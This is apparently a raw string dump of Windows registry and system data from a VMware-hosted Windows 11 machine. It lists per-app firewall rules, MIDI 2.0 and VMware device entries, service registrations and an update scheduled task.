v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/DisplayName}|Desc=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/Description}|PFN=Windows.CBSPreview_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/DisplayName}| dCtx v2.33|AppPkgId=S-1-15-2-3637181099-3165582941-2384801395-3283118383-1187078190-3493346776-3423618717|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-3637181099-3165582941-2384801395-3283118383-1187078190-3493346776-3423618717|M=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|D=C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|BF=TRUE| v2.33|AppPkgId=S-1-15-2-1484987186-1222498055-1895867193-3865138943-3428356477-682207028-3900627692|LUOwn=S-1-5-18|C=S-1-15-3-1484987186-1222498055-1895867193-3865138943-3428356477-682207028-3900627692|M=Windows.CBSPreview_cw5n1h2txyewy|Name=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/DisplayName}|Desc=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/Description}|D=C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\|PFN=Windows.CBSPreview_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Desc=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/Description}|PFN=Windows.PrintDialog_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Desc=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/Description}|PFN=Windows.PrintDialog_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Desc=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/Description}|PFN=Windows.PrintDialog_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-3155986392-3975291318-3290200901-3688105942-3149078057-1179077593-1847296678|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-3155986392-3975291318-3290200901-3688105942-3149078057-1179077593-1847296678|M=Windows.PrintDialog_cw5n1h2txyewy|Name=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Desc=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/Description}|D=C:\Windows\SystemApps\Windows.PrintDialog_cw5n1h2txyewy\|PFN=Windows.PrintDialog_cw5n1h2txyewy| HTREE\ROOT\0 {00000000-0000-0000-ffff-ffffffffffff} SWD\GenericRaw SWD\Generic Microsoft Radio Device Enumeration Bus {62f9c741-b25a-46ce-b54c-9bccce08b6f2} Microsoft @c_swdevice.inf,%swd\genericraw.devicedesc%;Generic software device {62f9c741-b25a-46ce-b54c-9bccce08b6f2}\0001 Generic software device Generic software device @c_swdevice.inf,%msft%;Microsoft Microsoft 6-21-2006 c_swdevice.inf 10.0.26100.1 10.0.26100.1 c_swdevice.inf SoftwareDevice SoftwareDevice c_swdevice.inf:db04a16c5fe3d0a2:SoftwareDevice:10.0.26100.1:SWD\GenericRaw SWD\GenericRaw SWD\GenericRaw Microsoft Radio Device Enumeration Bus c_swdevice.inf:SWD\GenericRaw,SoftwareDevice \_SB.L1M1.L0M6 localdomain 1.L0M6 \_SB.L1M4.L0M6 \_SB.L1M4.L0M7 RasSstp @C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll,-2 C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll ServiceMain 134161452982311785;time.windows.com,0x9 RasSstp DIAG ndiscowan nolower MSBDD_NOEDID_15AD_0405_00000000_000F0000_0 MSBDD_NOEDID_15AD_0405_00000000_000F0000_0 rhFzOw8szUCug1Lc.24 Ethernet (Kernel Debugger) Ethernet (Kernel Debugger) Ethernet0 Ethernet0 time.windows.com,7ff242c c18edcc8-9651-b9ee-cf7b-2b04b364fe66 EventLog-Application v2.33|Action=Block|Active=TRUE|Dir=In|Name=Usermode Font Driver Host|Desc=Usermode Font Driver Host|PFN=microsoft.windows.fontdrvhost|LUOwn=S-1-5-18|EmbedCtxt=Usermode Font Driver Host| MPDW-manifest.ini MPDW-pipelineconfig.xml MPDW-constraints.js MPDW_devmode_map.xml ntprint4|PDFRenderFilter.dll ntprint|StdNames.gpd ntprint|unires.dll Microsoft 06/21/2006 &1.3.217.3 true FX:12F322BC FX:124117A5 FX:03A07DE0 {62f9c741-b25a-46ce-b54c-9bccce08b6f2}\0008 @oem1.inf,%loc.vmciServiceDisplayName%;VMware VMCI Bus Driver System Bus Extender %SystemRoot%\System32\drivers\vmci.sys vmci.install.x64.NT %loc.companymanufacturer% %loc.vmwarebusdevicedesc% vmci.install.x64.NT %loc.companymanufacturer% %loc.vmwarebusdevicedesc% VMware VMCI Bus Device %SystemRoot%\System32\vmhgfs.dll Broadcom Inc. vmci.install.x64.NT vmci v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=Microsoft Store|Desc=Microsoft Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store|Platform=2:6:2|Platform2=GTEQ| e488 microsoft.todos_8wekyb3d8bbwe microsoft.todos_8wekyb3d8bbwe v2.33|Action=Block|Active=TRUE|Dir=In|Name=Chrome Sandbox|Desc=Profile for Chrome Sandbox|PFN=cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Chrome Sandbox| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=Chrome Sandbox|Desc=Profile for Chrome Sandbox|PFN=cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Chrome Sandbox| C:\ProgramData\VMware\RawdskCompatibility\ C:\Program Files\VMware\VMware Tools\vmtools.dll C:\Program Files\VMware\VMware Tools\vmtoolsd.exe C:\Program Files\VMware\VMware Tools\plugins\vmsvc\hwUpgradeHelper.dll v2.33|Action=Block|Active=TRUE|Dir=Out|Name=Usermode Font Driver Host|Desc=Usermode Font Driver Host|PFN=microsoft.windows.fontdrvhost|LUOwn=S-1-5-18|EmbedCtxt=Usermode Font Driver Host| "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" VMware Alias Manager and Ticket Service LocalSystem Alias Manager and Ticket Service system32\DRIVERS\vsock.sys S\vsock.sys vSockets Virtual Machine Communication Interface Sockets driver Hyper-V RAW System Bus Extender vSockets Driver Windows Socket 2.0 Non-IFS Service Provider Support Environment vSockets DGRAM vSockets STREAM VMware, Inc. v2.33|AppPkgId=S-1-15-2-1714399563-1326177402-2048222277-143663168-2151391019-765408921-4098702777|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-2|C=S-1-15-3-3|C=S-1-15-3-4|C=S-1-15-3-5|C=S-1-15-3-1714399563-1326177402-2048222277-143663168-2151391019-765408921-4098702777|M=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|Name=Game Bar|Desc=Game Bar|D=C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDescription}|PFN=Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDescription}|PFN=Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}| microsoft.bingsearch_8wekyb3d8bbwe microsoft.xbox.tcui_8wekyb3d8bbwe microsoft.windowsfeedbackhub_8wekyb3d8bbwe microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe microsoft.microsoftstickynotes_8wekyb3d8bbwe microsoft.microsoftofficehub_8wekyb3d8bbwe microsoft.xboxgamingoverlay_8wekyb3d8bbwe microsoft.mpeg2videoextension_8wekyb3d8bbwe microsoftcorporationii.quickassist_8wekyb3d8bbwe microsoft.microsoftsolitairecollection_8wekyb3d8bbwe microsoft.windowssoundrecorder_8wekyb3d8bbwe microsoft.gethelp_8wekyb3d8bbwe clipchamp.clipchamp_yxz26nhyzhsrt microsoft.avcencodervideoextension_8wekyb3d8bbwe microsoft.windows.devhome_8wekyb3d8bbwe microsoft.windowscalculator_8wekyb3d8bbwe microsoft.heifimageextension_8wekyb3d8bbwe microsoftwindows.crossdevice_cw5n1h2txyewy microsoftwindows.client.webexperience_cw5n1h2txyewy FX:0399903A microsoft.windowsnotepad_8wekyb3d8bbwe microsoft.hevcvideoextension_8wekyb3d8bbwe FX:138E88FA FX:138580B2 FX:13802EFF FX:13802EFD FX:13802EFC FX:13802EFB FX:03985DED FX:0394DFC2 FX:0390BB93 FX:138F1B88 FX:1361B178 FX:135A3B50 FX:1359A504 FX:1312D799 FX:130DD09D CloudBackupRestoreSvc_3f7d0 @%SystemRoot%\system32\CloudRestoreLauncher.dll,-101 C:\WINDOWS\system32\svchost.exe -k DevicesFlow System32\drivers\vmci.sys FX:13978B27 SWD\GenericRaw SWD\Generic MIDI 2.0 Service Tests 10.0.26100.1 AF_UNIX 02:20:2026 1766 p49- v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|Name=Game Bar|Desc=Game Bar|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Game Bar|Platform=2:6:2|Platform2=GTEQ|Edge=TRUE| MPDW-PDC.xml Microsoft @usbhub3.inf,%usbhub3.roothubdevicedesc%;USB Root Hub (USB 3.0) C:\Windows\System32\DDORes.dll,-2001 Microphone (High Definition Audio Device) %windir%\system32\mmres.dll,-3014 VMware Virtual USB Mouse C:\Windows\System32\DDORes.dll,-2212 VMware Virtual NVMe Disk C:\Windows\System32\DDORes.dll,-2511 ModelId\{D47C6BF5-754D-56CC-A8B4-BD1D9E089DEC} HardwareId\PRINTENUM#{084f01fa-e634-4d77-83ee-074817c03581} HardwareId\PRINTENUM#LocalPrintQueue HardwareId\{084f01fa-e634-4d77-83ee-074817c03581} CompatibleId\GenPrintQueue CompatibleId\SWD#GenericRaw CompatibleId\SWD#Generic InterfaceClass\{0ECEF634-6EF0-472A-8085-5AD023ECBCCD} AllItems &TOR#Default_ 9-AD pems NOEDID_15AD_0405_00000000_000F0000_0 PrintFax.Printer.File @System32\drivers\dxgkrnl.sys,#300;Generic Monitor C:\Windows\System32\DDORes.dll,-2102 SWD\PRINTENUM\{B088679C-B055-48CC-AE74-33E3ECD77249} Generic software device v2.33|Action=Block|Active=TRUE|Dir=In|Name=Game Bar|Desc=Game Bar|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Game Bar| v2.33|AppPkgId=S-1-15-2-543634040-274359014-2226501544-3561766748-3991453649-3543631192-522786984|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-543634040-274359014-2226501544-3561766748-3991453649-3543631192-522786984|M=Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe|Name=Microsoft Edge|Desc=Microsoft Edge Browser|D=C:\Program Files (x86)\Microsoft\Edge\Application\|PFN=Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe| {ac9b5417-3fe0-4e62-960f-034ee4235a1a} s86- 177| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|LPort=5353|App=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe|Name=Microsoft Edge (mDNS-In)|Desc=Inbound rule for Microsoft Edge to allow mDNS traffic.|EmbedCtxt=Microsoft Edge WebView2 Runtime| @C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-240 v2.33|Action=Block|Active=TRUE|Dir=In|App=%ProgramData%\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe|Svc=WinDefend|Name=Inbound service restriction rule for WinDefend|Desc=Block all inbound traffic to service WinDefend| @C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-310 @C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-340 @C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-330 C:\WINDOWS\system32\svchost.exe -k DevicesFlow -p DeviceAssociationBroker_5969d ConsentUxUserSvc_3f7d0 @%SystemRoot%\system32\ConsentUxClient.dll,-101 C:\WINDOWS\system32\CredentialEnrollmentManager.exe CredentialEnrollmentManagerUserSvc_3f7d0 None localdomain 192.168.27.2 @%SystemRoot%\system32\CredentialEnrollmentManager.exe,-101 C:\WINDOWS\system32\svchost.exe -k DevicesFlow -p DeviceAssociationBrokerSvc_3f7d0 @%SystemRoot%\system32\deviceaccess.dll,-108 C:\WINDOWS\system32\svchost.exe -k DevicesFlow DevicePickerUserSvc_3f7d0 Microsoft Microsoft 6-21-2006 W. Europe Standard Time SWD\GenericRaw SWD\GenericRaw SWD\GenericRaw Service Test Loopback A c_swdevice.inf:SWD\GenericRaw,SoftwareDevice SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A Service Test Loopback A LOOPBACK_A 2mRo Microsoft Microsoft Microsoft 6-21-2006 ndiscowan nolower v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDescription}|PFN=Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDescription}|PFN=Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-577703620-721806600-2575725278-1938300505-2177978512-2240326487-1220425747|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-577703620-721806600-2575725278-1938300505-2177978512-2240326487-1220425747|M=Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe|Name=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.Windows.NarratorQuickStart/Resources/AppDescription}|D=C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\|PFN=Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe| SoftwareDevice Microsoft Microsoft 6-21-2006 Microsoft\Windows\UpdateOrchestrator \Microsoft\Windows\UpdateOrchestrator\Schedule Scan D:P(A;;FA;;;SY)(A;;FRFX;;;LS)(A;;FRFX;;;BA) PT1320M false 2019-01-01T12:00:00 true PT120M S-1-5-18 LeastPrivilege IgnoreNew true true true true false PT10M PT1H true false true true false false false PT72H 7 %systemroot%\system32\usoclient.exe StartScan v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}|Desc=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}|PFN=Microsoft.WindowsTerminal_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}|Desc=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}|PFN=Microsoft.WindowsTerminal_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}| 440BX Desktop Reference Platform Generic software device Generic software device @c_swdevice.inf,%msft%;Microsoft c_swdevice.inf 10.0.26100.1 10.0.26100.1 c_swdevice.inf SoftwareDevice SoftwareDevice c_swdevice.inf:db04a16c5fe3d0a2:SoftwareDevice:10.0.26100.1:SWD\GenericRaw c_swdevice.inf 10.0.26100.1 c_swdevice.inf SoftwareDevice SoftwareDevice c_swdevice.inf:db04a16c5fe3d0a2:SoftwareDevice:10.0.26100.1:SWD\GenericRaw SWD\GenericRaw SWD\GenericRaw Service Test Ping (Internal) c_swdevice.inf:SWD\GenericRaw,SoftwareDevice SWD\MIDISRV\MIDIU_DIAG_PING Service Test Ping (Internal) PING Service Test Ping (Internal) Internal UMP Ping endpoint. Do not send messages to this endpoint. Microsoft Unknown Service Test Loopback A C:\Windows\System32\DDORes.dll,-2001 Service Test Loopback A Service Test Loopback A MIDISRV\MidiEndpoints Unknown ModelId\{BCF4E586-5874-5C17-B136-0362DAB0BE7E} HardwareId\MIDISRV#MidiEndpoints CompatibleId\GenericMidiEndpoint CompatibleId\SWD#GenericRaw CompatibleId\SWD#Generic InterfaceClass\{E7CCE071-3C03-423F-88D3-F1045D02552B} AllItems SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A HTREE\ROOT\0 {942bf02d-93c0-4ea8-b03e-d51156ca75e1} SWD\GenericRaw SWD\Generic MIDI 2.0 Loop Devices {62f9c741-b25a-46ce-b54c-9bccce08b6f2} Microsoft @c_swdevice.inf,%swd\genericraw.devicedesc%;Generic software device {62f9c741-b25a-46ce-b54c-9bccce08b6f2}\0006 Generic software device Generic software device @c_swdevice.inf,%msft%;Microsoft Microsoft 6-21-2006 c_swdevice.inf 10.0.26100.1 10.0.26100.1 c_swdevice.inf SoftwareDevice SoftwareDevice c_swdevice.inf:db04a16c5fe3d0a2:SoftwareDevice:10.0.26100.1:SWD\GenericRaw SWD\GenericRaw SWD\GenericRaw MIDI 2.0 Loop Devices c_swdevice.inf:SWD\GenericRaw,SoftwareDevice HTREE\ROOT\0 {8feaad91-70e1-4a19-997a-377720a719c1} SWD\GenericRaw SWD\Generic MIDI 2.0 Virtual Devices {62f9c741-b25a-46ce-b54c-9bccce08b6f2} Microsoft @c_swdevice.inf,%swd\genericraw.devicedesc%;Generic software device {62f9c741-b25a-46ce-b54c-9bccce08b6f2}\0007 Generic software device Generic software device @c_swdevice.inf,%msft%;Microsoft Microsoft 6-21-2006 c_swdevice.inf 10.0.26100.1 10.0.26100.1 c_swdevice.inf SoftwareDevice SoftwareDevice c_swdevice.inf:db04a16c5fe3d0a2:SoftwareDevice:10.0.26100.1:SWD\GenericRaw SWD\GenericRaw SWD\GenericRaw MIDI 2.0 Virtual Devices c_swdevice.inf:SWD\GenericRaw,SoftwareDevice MIDI 2.0 Loop Devices C:\Windows\System32\DDORes.dll,-2001 MIDI 2.0 Loop Devices MIDI 2.0 Loop Devices Unknown CompatibleId\SWD#GenericRaw CompatibleId\SWD#Generic AllItems Unknown SWD\MIDISRV\MIDIU_LOOP_TRANSPORT MIDI 2.0 Virtual Devices C:\Windows\System32\DDORes.dll,-2001 MIDI 2.0 Virtual Devices MIDI 2.0 Virtual Devices Unknown CompatibleId\SWD#GenericRaw CompatibleId\SWD#Generic AllItems Unknown SWD\MIDISRV\MIDIU_APP_TRANSPORT e5-4 ed8b v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=Microsoft Store|Desc=Microsoft 